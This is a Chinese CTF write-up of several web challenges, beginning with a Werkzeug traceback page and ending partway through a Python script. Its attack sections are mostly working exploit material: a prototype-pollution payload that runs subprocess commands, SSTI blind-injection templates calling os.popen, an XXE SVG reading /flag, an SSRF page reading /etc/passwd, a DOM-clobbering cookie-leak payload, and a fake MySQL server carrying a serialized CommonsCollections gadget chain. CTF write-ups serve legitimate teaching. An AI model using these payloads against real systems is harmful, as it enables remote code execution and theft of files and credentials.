<pre class="line after"><span class="ws"></span>@app.post(&#34;/reset&#34;)</pre>
<pre class="line after"><span class="ws"></span>def reset():</pre>
<pre class="line after"><span class="ws"> </span>global COLONEL</pre></div>
</div>

<li><div class="frame" id="frame-139924265651648">
<h4>File <cite class="filename">"/app/humens.py"</cite>,
line <em class="line">61</em>,
in <code class="function">make_choice</code></h4>
<div class="source "><pre class="line before"><span class="ws"> </span>if not isinstance(choice_input, dict):</pre>
<pre class="line before"><span class="ws"> </span>raise ValueError(&#34;仅支持 JSON 对象输入&#34;)</pre>
<pre class="line before"><span class="ws"> </span>if contains_forbidden_key(choice_input):</pre>
<pre class="line before"><span class="ws"> </span>raise ValueError(&#34;键名包含不允许的关键词&#34;)</pre>
<pre class="line before"><span class="ws"> </span>self.logs.append(f&#34;上校选择:{json.dumps(choice_input, ensure_ascii=False)}&#34;)</pre>
<pre class="line current"><span class="ws"> </span>merge(choice_input, self)
<span class="ws"> </span>^^^^^^^^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"> </span>self.logs.append(&#34;选择已生效。&#34;)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span>class ExecutionSquad(Human):</pre>
<pre class="line after"><span class="ws"> </span>def __init__(self):</pre></div>
</div>

<li><div class="frame" id="frame-139924265651792">
<h4>File <cite class="filename">"/app/tools.py"</cite>,
line <em class="line">40</em>,
in <code class="function">merge</code></h4>
<div class="source "><pre class="line before"><span class="ws"> </span>else:</pre>
<pre class="line before"><span class="ws"> </span>dst[k] = v</pre>
<pre class="line before"><span class="ws"> </span>elif hasattr(dst, k) and isinstance(v, dict):</pre>
<pre class="line before"><span class="ws"> </span>merge(v, getattr(dst, k))</pre>
<pre class="line before"><span class="ws"> </span>else:</pre>
<pre class="line current"><span class="ws"> </span>setattr(dst, k, v)
<span class="ws"> </span>^^^^^^^^^^^^^^^^^^</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span># 函数 contains_forbidden_key()</pre>
<pre class="line after"><span class="ws"></span>def contains_forbidden_key(obj, forbidden=(&#34;__init__&#34;,&#34;jinja&#34;,&#34;jinja2&#34;, &#34;static&#34;, &#34;templates&#34;, &#34;app&#34;)):</pre>
<pre class="line after"><span class="ws"> </span>def _check(o):</pre></div>
</div>
</ul>
<blockquote>TypeError: __class__ must be set to a class, not &#39;str&#39; object
</blockquote>
</div>

<div class="plain">
<p>
This is the Copy/Paste friendly version of the traceback.
</p>
<textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
File &#34;/usr/local/lib/python3.11/site-packages/flask/app.py&#34;, line 1536, in __call__
return self.wsgi_app(environ, start_response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.11/site-packages/flask/app.py&#34;, line 1514, in wsgi_app
response = self.handle_exception(e)
^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.11/site-packages/flask/app.py&#34;, line 1511, in wsgi_app
response = self.full_dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.11/site-packages/flask/app.py&#34;, line 919, in full_dispatch_request
rv = self.handle_user_exception(e)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.11/site-packages/flask/app.py&#34;, line 917, in full_dispatch_request
rv = self.dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/usr/local/lib/python3.11/site-packages/flask/app.py&#34;, line 902, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File &#34;/app/app.py&#34;, line 72, in choose
COLONEL.make_choice(payload)
File &#34;/app/humens.py&#34;, line 61, in make_choice
merge(choice_input, self)
File &#34;/app/tools.py&#34;, line 40, in merge
setattr(dst, k, v)
TypeError: __class__ must be set to a class, not &#39;str&#39; object
</textarea>
</div>
<div class="explanation">
The debugger caught an exception in your WSGI application. You can now
look at the traceback which led to the error. <span class="nojavascript">
If you enable JavaScript you can also use additional features such as code
execution (if the evalex feature is enabled), automatic pasting of the
exceptions and much more.</span>
</div>
<div class="footer">
Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>

<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>
<p>
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>
<p>PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
</html>

<!--

Traceback (most recent call last):
File "/usr/local/lib/python3.11/site-packages/flask/app.py", line 1536, in __call__
return self.wsgi_app(environ, start_response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/flask/app.py", line 1514, in wsgi_app
response = self.handle_exception(e)
^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/flask/app.py", line 1511, in wsgi_app
response = self.full_dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/flask/app.py", line 919, in full_dispatch_request
rv = self.handle_user_exception(e)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/flask/app.py", line 917, in full_dispatch_request
rv = self.dispatch_request()
^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/lib/python3.11/site-packages/flask/app.py", line 902, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/app/app.py", line 72, in choose
COLONEL.make_choice(payload)
File "/app/humens.py", line 61, in make_choice
merge(choice_input, self)
File "/app/tools.py", line 40, in merge
setattr(dst, k, v)
TypeError: __class__ must be set to a class, not 'str' object


-->

得到部分源码

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@app.post("/choose")
def choose():
payload = request.get_json()
if contains_forbidden_key(payload):
COLONEL.logs.append("WAF")
flash("WAF")
return redirect(url_for("index"))

COLONEL.make_choice(payload)
return redirect(url_for("index"))

@app.post("/reset")
def reset():
global COLONEL
# 重置逻辑(未完整显示,但可推断)

humens.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Human:
def __init__(self):
self.logs = []

class Colonel(Human): ##Colonel实例的名字应该是ColonelPWNed
def make_choice(self, choice_input):
if not isinstance(choice_input, dict):
raise ValueError("仅支持 JSON 对象输入")
if contains_forbidden_key(choice_input):
raise ValueError("键名包含不允许的关键词")
self.logs.append(f"上校选择:{json.dumps(choice_input, ensure_ascii=False)}")
merge(choice_input, self)
self.logs.append("选择已生效。")

class ExecutionSquad(Human):
def __init__(self):
super().__init__()
# 可能还有其他初始化逻辑(未完全展示)

tools.py

1
2
3
4
5
6
7
8
9
10
11
12
13
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
has_key = (hasattr(dst, 'get') and dst.get(k) is not None) or (k in dst)
if has_key and isinstance(v, dict):
target = dst.get(k) if hasattr(dst, 'get') else dst[k]
merge(v, target)
else:
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

waf

1
2
3
4
5
6
7
8
9
10
11
12
def contains_forbidden_key(obj, forbidden=("__init__", "jinja", "jinja2", "static", "templates", "app")):
def _check(o):
if isinstance(o, dict):
for key in o:
if any(f in str(key) for f in forbidden):
return True
if _check(o[key]):
return True
elif isinstance(o, (list, tuple)):
return any(_check(item) for item in o)
return False
return _check(obj)

可以看到有merge方法,那就是原型链污染了

上校继承于他的父亲,他的父亲继承于人类所以要污染基类的基类也就是__base__.__base__

前面猜测会执行execute_method并且该属性是字符串类型,尝试污染这个属性

{"__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True), 'test')"}}}}

可以看到回显是test,说明会打印三元组最后一个的值

构造命令执行并通过三元组最后一位回显,这里用subprocess捕获输出,system只会返回0/1

1
{"__class__":{"__base__":{"__base__":{"execute_method":"lambda executor, target: (target.__del__(), setattr(target, 'alive', True), __import__('subprocess').run(['env'], capture_output=True, text=True).stdout.strip())"}}}}

拿到题目源码

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from flask import Flask, request, redirect, url_for, render_template, send_from_directory, flash, session
from humens import Human, Colonel, ExecutionSquad

app = Flask(__name__)
app.secret_key = 'ciallo_secret_key' # 用于flash消息

COLONEL: Colonel | None = None

@app.get("/assets/<path:filename>")
def assets(filename):
return send_from_directory("assets", filename)


@app.get("/")
def index():
error_reset = request.args.get('error_reset', False)
from pathlib import Path
import base64
assets_dir = Path(app.root_path) / "assets"
img_path = assets_dir / "上校.jpg"
avatar_data_uri = None
try:
with open(img_path, "rb") as f:
avatar_data_uri = "data:image/jpeg;base64," + base64.b64encode(f.read()).decode("ascii")
except Exception:
avatar_data_uri = None
return render_template("index.html", colonel=COLONEL, error_reset=error_reset, avatar_data_uri=avatar_data_uri)


@app.post("/create")
def create():
global COLONEL
COLONEL = Colonel()
COLONEL.logs.append("上校已创建。")
COLONEL.logs.append("上校继承于他的父亲,他的父亲继承于人类")
return redirect(url_for("index"))


@app.post("/time")
def time():
global COLONEL
if COLONEL is None:
return redirect(url_for("index"))

event = COLONEL.advance()
COLONEL.logs.append(f"时间流逝:{event}")

if COLONEL.stage == 4 and COLONEL.alive:
squad = ExecutionSquad()
squad.execute(COLONEL)

return redirect(url_for("index"))

# 路由:接收前端 JSON 或兼容表单
@app.post("/choose")
def choose():
global COLONEL
if COLONEL is None or not COLONEL.alive:
return redirect(url_for("index"))

payload = request.get_json(silent=False)
if not isinstance(payload, dict):
flash("请选择有效的 JSON 对象。")
return redirect(url_for("index"))

from tools import contains_forbidden_key
if contains_forbidden_key(payload):
COLONEL.logs.append("WAF")
flash("WAF")
return redirect(url_for("index"))

COLONEL.make_choice(payload)
return redirect(url_for("index"))

@app.post("/reset")
def reset():
global COLONEL
COLONEL = None
Human.execute_method = "lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')"
return redirect(url_for("index"))

@app.errorhandler(500)
def error(error):
global COLONEL
COLONEL = None
Human.execute_method = "lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')"
return redirect(url_for("index", error_reset=True))

if __name__ == "__main__":
Human.execute_method = "lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')"
app.run(host="0.0.0.0", port=8080, debug=True)

tools.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import re

def parse_choice(text: str) -> dict:
payload: dict = {}

def set_path(root: dict, path: str, value):
parts = [p for p in path.split('.') if p]
cur = root
for p in parts[:-1]:
if p not in cur or not isinstance(cur[p], dict):
cur[p] = {}
cur = cur[p]
cur[parts[-1]] = value

for part in re.split(r'[;\n]+', text):
part = part.strip()
if not part:
continue
if '=' in part:
k, v = part.split('=', 1)
set_path(payload, k.strip(), v.strip())
else:
set_path(payload, part, True)

return payload


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
has_key = (hasattr(dst, 'get') and dst.get(k) is not None) or (k in dst)
if has_key and isinstance(v, dict):
target = dst.get(k) if hasattr(dst, 'get') else dst[k]
merge(v, target)
else:
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


# 函数 contains_forbidden_key()
def contains_forbidden_key(obj, forbidden=("__init__","jinja","jinja2", "static", "templates", "app")):
def _check(o):
if isinstance(o, dict):
for k, v in o.items():
kl = str(k).lower()
if any(bad in kl for bad in forbidden):
return True
if _check(v):
return True
elif isinstance(o, list):
for item in o:
if _check(item):
return True
return False
return _check(obj)

humens.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from tools import merge

class Human:
def __init__(self, name: str):
self.name = name
self.alive = True

def __del__(self):
# 默认安全删除
print(f"[SAFE __del__] {self.name} deleted.")


class Father(Human):
def __init__(self, child_name: str):
super().__init__(child_name)
self.seen_ice = True


class Colonel(Father):
def __init__(self):
super().__init__("Aureliano Buendía")
self.stage = 0
self.logs = []
self.timeline = [
"开篇预言:许多年以后,面对行刑队,上校将回想起见识冰块的那个下午。",
"卷入武装起义:命运与战争交织。",
"抉择时刻:上校需要做出选择(武器与策略)。",
"宿命延续:行军与退却。",
"面对行刑队:命运的审判即将到来。",
"结局:命运如沙漏般倾泻……"
]

def current_event(self):
if 0 <= self.stage < len(self.timeline):
return self.timeline[self.stage]
return "时光在沉默中流逝……"

def advance(self):
if self.stage < len(self.timeline) - 1:
self.stage += 1
# 在进入“宿命延续”阶段时,触发使用武器与策略的事件(带默认值)
if self.stage == 3:
weapon = getattr(self, "weapon", None) or "spear"
tactic = getattr(self, "tactic", None) or "ambush"
# 将默认值写回,便于后续查看
self.weapon = weapon
self.tactic = tactic
self.logs.append(f"事件:上校使用 {weapon},采取 {tactic} 策略。世界线变动...")
self.logs.append(f"(上校的weapon属性被赋值为{weapon},tactic属性被赋值为{tactic})")
return self.current_event()

def make_choice(self, choice_input):
import json
from tools import contains_forbidden_key
if not isinstance(choice_input, dict):
raise ValueError("仅支持 JSON 对象输入")
if contains_forbidden_key(choice_input):
raise ValueError("键名包含不允许的关键词")
self.logs.append(f"上校选择:{json.dumps(choice_input, ensure_ascii=False)}")
merge(choice_input, self)
self.logs.append("选择已生效。")


class ExecutionSquad(Human):
def __init__(self):
super().__init__("Execution Squad")

def execute(self, target: Colonel):
target.logs.append("行刑队:开始执行判决。")
target.logs.append("行刑队也继承于人类")
target.logs.append("临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:")
target.logs.append(getattr(self, "execute_method", None))
target.logs.append("这是人类自古以来就拥有的execute_method属性...")

method = getattr(self, "execute_method", None)
try:
result = eval(method)(executor=self, target=target)[2]
except Exception as e:
print(e)
result = "处决异常"

target.logs.append(result)

路在脚下

回显只有3种

1
2
3
渲染出错了!:模板渲染报错
渲染出来不一样,我不会告诉你任何事情!:渲染成功
这样的东西我是不会给你渲染的!:waf

布尔盲注

1
{{ 1 / (1 if ''.__class__.__mro__[1].__subclasses__()[191].__init__.__globals__['os'].popen('printenv FLAG').read().strip()[{{int(0-52)}}] == '{{payload(ascii)}}' else 0) }}

flag

1
SYC{I_F0rg3_My_P@th_019a627778e0722f94fa5d5c3475f144}

路在脚下 revenge

一样的payload

1
{{ 1 / (1 if ''.__class__.__mro__[1].__subclasses__()[191].__init__.__globals__['os'].popen('printenv FLAG').read().strip()[{{int(0-52)}}] == '{{payload(ascii)}}' else 0) }}

根据响应长度导出返回为true的包然后让ai拼接字符串

1
SYC{1_F0rg3_My_P@th_019a631b3ca1792eb19c37a8a07f223b}

Image Viewer

应该用的lxml预处理svg然后结果转为png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /render HTTP/1.1
Host: geek.ctfplus.cn:30103
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Origin: http://geek.ctfplus.cn:30103
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrEb9nA3HkbjoxSoY
Referer: http://geek.ctfplus.cn:30103/
Content-Length: 486

------WebKitFormBoundaryrEb9nA3HkbjoxSoY
Content-Disposition: form-data; name="file"; filename="xx.svg"
Content-Type: image/svg+xml

<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<svg width="500" height="100">
<text x="10" y="50">&xxe;</text>
</svg>
------WebKitFormBoundaryrEb9nA3HkbjoxSoY--

SYC{Go0d_SVG_worK}

PDF Viewer

存在ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h2>File Content:</h2>
<pre id="output">Loading...</pre>

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'file:///etc/passwd', true);
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var content = xhr.responseText || 'Failed to read file';
document.getElementById('output').textContent = content;
}
};
xhr.send();
</script>
</body>
</html>

WeakPassword_Admin/qwerty

Xross The Doom

给了源码server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
const express = require('express');
const path = require('path');
const cookieParser = require('cookie-parser');
const { nanoid } = require('nanoid');
const { spawn } = require('child_process');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

const app = express();
const PORT = process.env.PORT || 3000;
const FLAG = process.env.FLAG || 'flag{test}';

const posts = [];
const logs = [];

app.use(express.urlencoded({ extended: false }));
app.use(express.json());
app.use(cookieParser());

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use('/vendor', express.static(path.join(__dirname, 'node_modules', 'dompurify', 'dist')));

app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

app.get('/post/:id', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'post.html'));
});

app.get('/admin/review/:id', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'admin.html'));
});

app.get('/log', (req, res) => {
const c = req.query.c || '';
const ua = req.headers['user-agent'] || '';
logs.push({
time: new Date().toISOString(),
cookie: c,
ua
});
res.json({ ok: true });
});

app.get('/logs', (req, res) => {
res.json({ logs });
});

app.get('/bot', async (req, res) => {
try {
const serverOrigin = `http://127.0.0.1:${PORT}`;
let { id } = req.query || {};
if (typeof id !== 'string' || id.trim() === '') {
return res.status(400).json({ error: 'Missing id' });
}
id = id.trim();
if (!/^[A-Za-z0-9_-]{1,64}$/.test(id)) {
return res.status(400).json({ error: 'Invalid id format' });
}
const exists = posts.some(p => p.id === id);
if (!exists) {
return res.status(404).json({ error: 'Post not found' });
}

const safeId = encodeURIComponent(id);
const targetUrl = `${serverOrigin}/admin/review/${safeId}`;

res.json({ ok: true, target: targetUrl, message: 'queued' });

const botPath = path.join(__dirname, 'bot.js');
const child = spawn(process.execPath, [botPath, targetUrl], {
env: { ...process.env, FLAG: FLAG },
stdio: ['ignore', 'inherit', 'inherit']
});
child.on('error', (err) => {
console.error('[BOT] failed to start:', err.message);
});
child.on('exit', (code) => {
if (code === 0) {
console.log('[BOT] visited:', targetUrl);
} else {
console.warn('[BOT] bot.js exited with code', code);
}
});
} catch (err) {
console.error('[BOT] internal error:', err);
res.status(500).json({ error: 'Internal error' });
}
});

app.get('/api/posts', (req, res) => {
res.json({ posts });
});

app.get('/api/posts/:id', (req, res) => {
const id = req.params.id;
const post = posts.find(p => p.id === id);
if (!post) return res.status(404).json({ error: 'Not found' });
res.json({ post });
});

app.post('/api/posts', (req, res) => {
const { title, content } = req.body;
if (!title || !content) return res.status(400).json({ error: 'Missing title or content' });
const id = nanoid(8);
const sanitized = DOMPurify.sanitize(String(content));
const post = { id, title: String(title), content: sanitized, createdAt: Date.now() };
posts.push(post);
res.json({ ok: true, id });
});

app.listen(PORT, () => {
console.log(`Server listening on http://localhost:${PORT}`);
});

先看路由/log,每次访问会记录ua头和cookie(这里是把请求/log?c=的get请求c的值作为cookie),而/logs返回所有的log

访问/log?c=test

可以在/logs看到回显

/bot路由相对于模拟admin访问/admin/review/:id审核从而触发xss

找其他源码中包含get请求c参数的地方

在admin.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
(() => {
const id = location.pathname.split('/').pop();
const contentEl = document.getElementById('content');
const metaEl = document.getElementById('meta');

fetch(`/api/posts/${id}`).then(r => r.json()).then(({ post }) => {
metaEl.textContent = `创建时间:${new Date(post.createdAt).toLocaleString()}`;

const safe = DOMPurify.sanitize(post.content);
contentEl.innerHTML = safe;

function asBool(v) {
return v === true || (v && typeof v === 'object' && 'value' in v ? v.value === 'true' : !!v);
}
function asPath(v) {
if (typeof v === 'string') return v;
if (v && typeof v.getAttribute === 'function' && v.getAttribute('action')) {
return v.getAttribute('action');
}
if (v && v.action) return v.action;
return '';
}

const auto = asBool(window.AUTO_SHARE);
const path = asPath(window.CONFIG_PATH);
const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG);

function buildTarget(base, sub) {
const parts = (base + '/' + (sub || '')).split('/');
const stack = [];
for (const seg of parts) {
if (seg === '..') {
if (stack.length) stack.pop();
} else if (seg && seg !== '.') {
stack.push(seg);
}
}
return '/' + stack.join('/');
}

if (auto) {
const target = buildTarget('/analytics', path);
const qs = new URLSearchParams({ id, ua: navigator.userAgent });
if (includeCookie) {
qs.set('c', document.cookie);
}
fetch(target + '?' + qs.toString()).catch(() => {});
}
}).catch(() => {
contentEl.textContent = '未找到内容';
});
})();
1
2
3
4
5
6
7
8
if (auto) {
const target = buildTarget('/analytics', path);
const qs = new URLSearchParams({ id, ua: navigator.userAgent });
if (includeCookie) {
qs.set('c', document.cookie);
}
fetch(target + '?' + qs.toString()).catch(() => {});
}

document.cookie作为c的值

需要3个条件

1
2
3
const auto = asBool(window.AUTO_SHARE);
const path = asPath(window.CONFIG_PATH);
const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG);
1
2
3
function asBool(v) {
return v === true || (v && typeof v === 'object' && 'value' in v ? v.value === 'true' : !!v);
}

比较宽松

1
2
3
4
5
6
7
8
window.AUTO_SHARE 是 DOM 元素(如 <div id="AUTO_SHARE">1</div>)
那么:

v === true → ❌ false
v && typeof v === 'object' → ✅ true(DOM 元素是 object
'value' in v → ❌ false(<div> 没有 value 属性)
所以走三元表达式的 else 分支:!!v
而 !!window.AUTO_SHARE === !!1 ===true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function asPath(v) {
// 1. 如果是字符串,直接返回
if (typeof v === 'string') return v;

// 2. 如果 v 存在,且有 getAttribute 方法,并且有 action 属性
if (v && typeof v.getAttribute === 'function' && v.getAttribute('action')) {
return v.getAttribute('action');
}

// 3. 如果 v 存在,且有 action 属性(可能是对象属性)
if (v && v.action) return v.action;

// 4. 默认返回空字符串
return '';
}
1
2
3
4
5
6
7
✅ 第1个条件:typeof v === 'string'
❌ 否,v 是 DOM 对象 → 跳过。
✅ 第2个条件:
v 存在 → ✅
typeof v.getAttribute === 'function' → ✅(DOM 元素有 .getAttribute())
v.getAttribute('action') → 返回 "../log"(字符串,truthy)→ ✅
✅ 所以 第2个条件成立,函数返回:../log

payload 不被DOMPurify 拦截,因为不存在xss攻击

1
2
3
<div id="AUTO_SHARE">1</div>
<div id="CONFIG_COOKIE_DEBUG">1</div>
<img id="CONFIG_PATH" action="../log">

访问/bot?id=5g_spoOK

访问/logs

ezjdbc

jadx mcp分析到jdbc注入

并且存在cc依赖,jdbc为mysql8.0.19


fake MySQL脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
